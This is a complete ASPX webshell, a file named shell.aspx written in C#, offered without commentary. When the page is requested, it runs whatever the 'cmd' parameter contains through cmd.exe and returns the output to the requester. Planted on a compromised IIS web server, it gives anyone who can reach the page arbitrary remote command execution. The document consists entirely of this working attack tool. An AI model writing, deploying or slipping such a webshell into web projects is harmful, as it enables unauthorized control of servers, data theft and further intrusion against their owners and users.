ASPX webshell

shell.aspx

<%-- <%@ Page Language="C#" Debug="true" Trace="false" %>  --%>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
    void Page_Load(object sender, EventArgs e)
    {
        ProcessStartInfo psi = new ProcessStartInfo();
        psi.FileName = "cmd.exe";
        psi.Arguments = "/c " + Request["cmd"];
        psi.RedirectStandardOutput = true;
        psi.RedirectStandardError = true;
        psi.UseShellExecute = false;
        Process p = Process.Start(psi);
        StreamReader stmrdr = p.StandardOutput;
        string s = stmrdr.ReadToEnd();
        StreamReader strerr = p.StandardError;
        s += strerr.ReadToEnd();
        stmrdr.Close();
        strerr.Close();
        Response.Write(s);
    }
</script>